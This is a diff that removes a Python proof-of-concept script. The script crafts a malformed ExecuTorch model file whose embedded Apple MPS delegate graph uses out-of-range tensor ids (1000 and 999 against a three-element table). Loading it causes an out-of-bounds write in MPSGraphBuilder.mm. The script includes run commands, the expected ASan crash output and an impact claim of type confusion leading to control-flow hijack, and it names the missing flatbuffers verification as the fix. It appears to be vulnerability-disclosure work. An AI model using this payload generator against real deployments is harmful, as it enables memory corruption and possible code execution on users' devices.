Delete craft_malformed_mps_pte.py

craft_malformed_mps_pte.py

@@ -1,298 +0,0 @@
-#!/usr/bin/env python3
-"""
-craft_malformed_mps_pte.py
-
-Generates a malformed ExecuTorch .pte file that triggers the OOB write in
-Apple MPS delegate MPSGraphBuilder.mm:162 when loaded by executor_runner.
-
-Bug: MPSBackend (MPSBackend.mm:58-64) calls GetMPSGraph(buffer) with no
-flatbuffers::Verifier, then MPSGraphBuilder (MPSGraphBuilder.mm:92) resizes
-_idToMPSGraphTensor to mps_values()->size() (3 in our payload), then at
-line 162 indexes with input_ids[0] = 1000 -- OOB write on a 3-element vector.
-
-Compare: XNNPACK and Vulkan both have the two-line fix:
-  flatbuffers::Verifier verifier(data, size);
-  VerifyXXXBuffer(verifier);  // rejects before GetXXX() is ever called
-
-Usage:
-  python3 craft_malformed_mps_pte.py
-  # Produces: malformed_mps.pte
-  # Run:      ./build_asan/executor_runner --model_path malformed_mps.pte
-
-Expected crash (MPSGraphBuilder.mm:162, OOB write, exit 139 or ASan report):
-  _idToMPSGraphTensor[1000] = placeholder;
-  ^^ vector has 3 elements; index 1000 is out of bounds
-"""
-
-import sys
-import os
-import struct
-
-# ---- FlatBuffers Python library -------------------------------------------
-import flatbuffers
-from flatbuffers import builder as fb_builder
-
-# ---- Generated MPS schema bindings (run: flatc --python mps_schema.fbs) ---
-sys.path.insert(0, os.path.join(os.path.dirname(__file__), "schemas"))
-from mpsgraph import MPSGraph, MPSTensor, MPSDataType
-
-# ---- Generated Program schema bindings ------------------------------------
-from executorch_flatbuffer import (
-    Program, ExecutionPlan, BackendDelegate, BackendDelegateDataReference,
-    BackendDelegateInlineData, Chain, Instruction, DelegateCall,
-    EValue, Tensor, AllocationDetails, CompileSpec
-)
-from executorch_flatbuffer import DataLocation, TensorShapeDynamism
-import executorch_flatbuffer.KernelTypes as KT
-import executorch_flatbuffer.InstructionArguments as IA
-
-
-# ---------------------------------------------------------------------------
-# Step 1: Build the malformed MPSGraph FlatBuffer
-#
-# Attack: mps_values has N=3 entries  -> _idToMPSGraphTensor.resize(3, nullptr)
-#         input_ids[0]  = 1000        -> _idToMPSGraphTensor[1000] OOB WRITE
-#         output_ids[0] = 999         -> also OOB
-# ---------------------------------------------------------------------------
-def build_malformed_mps_flatbuffer() -> bytes:
-    b = flatbuffers.Builder(512)
-
-    # Build 3 minimal MPSTensor tables (mps_values)
-    tensor_offsets = []
-    for _ in range(3):
-        dims_vec = b.CreateNumpyVector(__import__('numpy').array([1], dtype='int32'))
-        MPSTensor.MPSTensorStart(b)
-        MPSTensor.MPSTensorAddDatatype(b, MPSDataType.MPSDataType.mps_data_type_float32)  # type 2
-        MPSTensor.MPSTensorAddNumDims(b, 1)
-        MPSTensor.MPSTensorAddDims(b, dims_vec)
-        tensor_offsets.append(MPSTensor.MPSTensorEnd(b))
-
-    # mps_values vector (3 entries)
-    MPSGraph.MPSGraphStartMpsValuesVector(b, 3)
-    for off in reversed(tensor_offsets):
-        b.PrependUOffsetTRelative(off)
-    mps_values_vec = b.EndVector(3)
-
-    # input_ids = [1000]  <- the OOB index
-    MPSGraph.MPSGraphStartInputIdsVector(b, 1)
-    b.PrependInt32(1000)
-    input_ids_vec = b.EndVector(1)
-
-    # output_ids = [999]  <- also OOB (for the output path MPSGraphBuilder.mm:120/124)
-    MPSGraph.MPSGraphStartOutputIdsVector(b, 1)
-    b.PrependInt32(999)
-    output_ids_vec = b.EndVector(1)
-
-    # MPSGraph root
-    MPSGraph.MPSGraphStart(b)
-    MPSGraph.MPSGraphAddMpsValues(b, mps_values_vec)
-    MPSGraph.MPSGraphAddInputIds(b, input_ids_vec)
-    MPSGraph.MPSGraphAddOutputIds(b, output_ids_vec)
-    mps_graph_root = MPSGraph.MPSGraphEnd(b)
-
-    b.Finish(mps_graph_root)
-    mps_buf = bytes(b.Output())
-
-    # Patch in the MPS file identifier "MP00" at bytes 4-7
-    # FlatBuffers layout: [root_offset(4)] [identifier(4)] [data...]
-    # The builder doesn't add a file identifier by default; patch it manually.
-    mps_buf = mps_buf[:4] + b"MP00" + mps_buf[8:]
-
-    print(f"  [+] MPS FlatBuffer built: {len(mps_buf)} bytes")
-    print(f"      mps_values count : 3  (controls resize)")
-    print(f"      input_ids[0]     : 1000  (OOB write at MPSGraphBuilder.mm:162)")
-    print(f"      output_ids[0]    : 999   (OOB write at MPSGraphBuilder.mm:120/124)")
-    return mps_buf
-
-
-# ---------------------------------------------------------------------------
-# Step 2: Wrap in an ExecuTorch Program FlatBuffer
-#
-# Structure:
-#   Program {
-#     version: 0
-#     execution_plan: [ ExecutionPlan {
-#       name: "forward"
-#       values: [ EValue(Tensor input), EValue(Tensor output) ]
-#       inputs:  [0]
-#       outputs: [1]
-#       chains: [ Chain {
-#         instructions: [ DelegateCall { delegate_index: 0, args: [0, 1] } ]
-#       }]
-#       delegates: [ BackendDelegate {
-#         id: "mps"
-#         processed: { location: INLINE, index: 0 }  <- backend_delegate_data[0]
-#       }]
-#       non_const_buffer_sizes: [0, 1024]
-#     }]
-#     backend_delegate_data: [ BackendDelegateInlineData { data: <mps_buf> } ]
-#   }
-# ---------------------------------------------------------------------------
-def build_program_pte(mps_payload: bytes) -> bytes:
-    import numpy as np
-    b = flatbuffers.Builder(len(mps_payload) + 4096)
-
-    # ---- backend_delegate_data[0]: our crafted MPS payload ----
-    mps_data_vec = b.CreateByteVector(mps_payload)
-    BackendDelegateInlineData.BackendDelegateInlineDataStart(b)
-    BackendDelegateInlineData.BackendDelegateInlineDataAddData(b, mps_data_vec)
-    inline_data = BackendDelegateInlineData.BackendDelegateInlineDataEnd(b)
-
-    # ---- BackendDelegate: id="mps", processed -> inline index 0 ----
-    id_str = b.CreateString("mps")
-
-    BackendDelegateDataReference.BackendDelegateDataReferenceStart(b)
-    BackendDelegateDataReference.BackendDelegateDataReferenceAddLocation(
-        b, DataLocation.DataLocation.INLINE)
-    BackendDelegateDataReference.BackendDelegateDataReferenceAddIndex(b, 0)
-    processed_ref = BackendDelegateDataReference.BackendDelegateDataReferenceEnd(b)
-
-    BackendDelegate.BackendDelegateStart(b)
-    BackendDelegate.BackendDelegateAddId(b, id_str)
-    BackendDelegate.BackendDelegateAddProcessed(b, processed_ref)
-    delegate = BackendDelegate.BackendDelegateEnd(b)
-
-    # ---- DelegateCall: delegate_index=0, args=[0,1] ----
-    args_vec = b.CreateNumpyVector(np.array([0, 1], dtype='int32'))
-    DelegateCall.DelegateCallStart(b)
-    DelegateCall.DelegateCallAddDelegateIndex(b, 0)
-    DelegateCall.DelegateCallAddArgs(b, args_vec)
-    dcall = DelegateCall.DelegateCallEnd(b)
-
-    # ---- Instruction wrapping the DelegateCall ----
-    Instruction.InstructionStart(b)
-    Instruction.InstructionAddInstrArgsType(b, IA.InstructionArguments.DelegateCall)
-    Instruction.InstructionAddInstrArgs(b, dcall)
-    instr = Instruction.InstructionEnd(b)
-
-    # ---- Chain with one instruction ----
-    instrs_vec = b.CreateNumpyVector(np.array([], dtype='int32'))  # placeholder; use manual
-    Chain.ChainStartInstructionsVector(b, 1)
-    b.PrependUOffsetTRelative(instr)
-    instrs_vec = b.EndVector(1)
-
-    Chain.ChainStart(b)
-    Chain.ChainAddInstructions(b, instrs_vec)
-    chain = Chain.ChainEnd(b)
-
-    # ---- Two minimal tensors (input and output) ----
-    # Tensor 0: input (float32, shape [1], mutable -- no data_buffer_idx)
-    dims0 = b.CreateNumpyVector(np.array([1], dtype='int32'))
-    dim_order0 = b.CreateNumpyVector(np.array([0], dtype='uint8'))
-    Tensor.TensorStart(b)
-    Tensor.TensorAddScalarType(b, 6)  # ScalarType.FLOAT = 6
-    Tensor.TensorAddSizes(b, dims0)
-    Tensor.TensorAddDimOrder(b, dim_order0)
-    Tensor.TensorAddShapeDynamism(b, TensorShapeDynamism.TensorShapeDynamism.STATIC)
-    t0 = Tensor.TensorEnd(b)
-
-    EValue.EValueStart(b)
-    EValue.EValueAddValType(b, KT.KernelTypes.Tensor)
-    EValue.EValueAddVal(b, t0)
-    ev0 = EValue.EValueEnd(b)
-
-    # Tensor 1: output (same shape)
-    dims1 = b.CreateNumpyVector(np.array([1], dtype='int32'))
-    dim_order1 = b.CreateNumpyVector(np.array([0], dtype='uint8'))
-    Tensor.TensorStart(b)
-    Tensor.TensorAddScalarType(b, 6)
-    Tensor.TensorAddSizes(b, dims1)
-    Tensor.TensorAddDimOrder(b, dim_order1)
-    Tensor.TensorAddShapeDynamism(b, TensorShapeDynamism.TensorShapeDynamism.STATIC)
-    t1 = Tensor.TensorEnd(b)
-
-    EValue.EValueStart(b)
-    EValue.EValueAddValType(b, KT.KernelTypes.Tensor)
-    EValue.EValueAddVal(b, t1)
-    ev1 = EValue.EValueEnd(b)
-
-    # ---- ExecutionPlan ----
-    name_str = b.CreateString("forward")
-
-    # values vector [ev0, ev1]
-    ExecutionPlan.ExecutionPlanStartValuesVector(b, 2)
-    b.PrependUOffsetTRelative(ev1)
-    b.PrependUOffsetTRelative(ev0)
-    values_vec = b.EndVector(2)
-
-    inputs_vec = b.CreateNumpyVector(np.array([0], dtype='int32'))
-    outputs_vec = b.CreateNumpyVector(np.array([1], dtype='int32'))
-
-    # chains vector [chain]
-    ExecutionPlan.ExecutionPlanStartChainsVector(b, 1)
-    b.PrependUOffsetTRelative(chain)
-    chains_vec = b.EndVector(1)
-
-    # delegates vector [delegate]
-    ExecutionPlan.ExecutionPlanStartDelegatesVector(b, 1)
-    b.PrependUOffsetTRelative(delegate)
-    delegates_vec = b.EndVector(1)
-
-    non_const_sizes = b.CreateNumpyVector(np.array([0, 1024], dtype='int64'))
-
-    ExecutionPlan.ExecutionPlanStart(b)
-    ExecutionPlan.ExecutionPlanAddName(b, name_str)
-    ExecutionPlan.ExecutionPlanAddValues(b, values_vec)
-    ExecutionPlan.ExecutionPlanAddInputs(b, inputs_vec)
-    ExecutionPlan.ExecutionPlanAddOutputs(b, outputs_vec)
-    ExecutionPlan.ExecutionPlanAddChains(b, chains_vec)
-    ExecutionPlan.ExecutionPlanAddDelegates(b, delegates_vec)
-    ExecutionPlan.ExecutionPlanAddNonConstBufferSizes(b, non_const_sizes)
-    ep = ExecutionPlan.ExecutionPlanEnd(b)
-
-    # ---- Program ----
-    # execution_plan vector [ep]
-    Program.ProgramStartExecutionPlanVector(b, 1)
-    b.PrependUOffsetTRelative(ep)
-    ep_vec = b.EndVector(1)
-
-    # backend_delegate_data vector [inline_data]
-    Program.ProgramStartBackendDelegateDataVector(b, 1)
-    b.PrependUOffsetTRelative(inline_data)
-    bdd_vec = b.EndVector(1)
-
-    Program.ProgramStart(b)
-    Program.ProgramAddVersion(b, 0)
-    Program.ProgramAddExecutionPlan(b, ep_vec)
-    Program.ProgramAddBackendDelegateData(b, bdd_vec)
-    prog = Program.ProgramEnd(b)
-
-    b.Finish(prog)
-    raw = bytes(b.Output())
-    # Patch the FlatBuffers file identifier "ET12" into bytes 4-7.
-    # Layout: [root_offset(4)] [identifier(4)] [data...]
-    # b.Finish() doesn't set the identifier; we patch it manually.
-    return raw[:4] + b"ET12" + raw[8:]
-
-
-def main():
-    print("=== ExecuTorch MPS Delegate Runtime PoC Generator ===")
-    print("Vuln   : MPSGraphBuilder.mm:92,162")
-    print("CWE    : CWE-787 (Out-of-bounds Write)")
-    print("Impact : ObjC pointer written at attacker-chosen index -> type confusion -> CFH")
-    print()
-
-    print("[1/2] Building malformed MPSGraph FlatBuffer...")
-    mps_payload = build_malformed_mps_flatbuffer()
-
-    print()
-    print("[2/2] Wrapping in ExecuTorch Program FlatBuffer (ET12)...")
-    pte_bytes = build_program_pte(mps_payload)
-    print(f"  [+] Program FlatBuffer: {len(pte_bytes)} bytes total")
-
-    out_path = os.path.join(os.path.dirname(__file__), "malformed_mps.pte")
-    with open(out_path, "wb") as f:
-        f.write(pte_bytes)
-
-    print(f"  [+] Written: {out_path}")
-    print()
-    print("To trigger the crash:")
-    print(f"  ./build_asan/executor_runner --model_path {out_path}")
-    print()
-    print("Expected (MPSGraphBuilder.mm:162, exit 139 or ASan heap-buffer-overflow):")
-    print("  vector size = 3 (from mps_values()->size())")
-    print("  input_ids[0] = 1000 -> _idToMPSGraphTensor[1000] -> OOB write -> CRASH")
-
-
-if __name__ == "__main__":
-    main()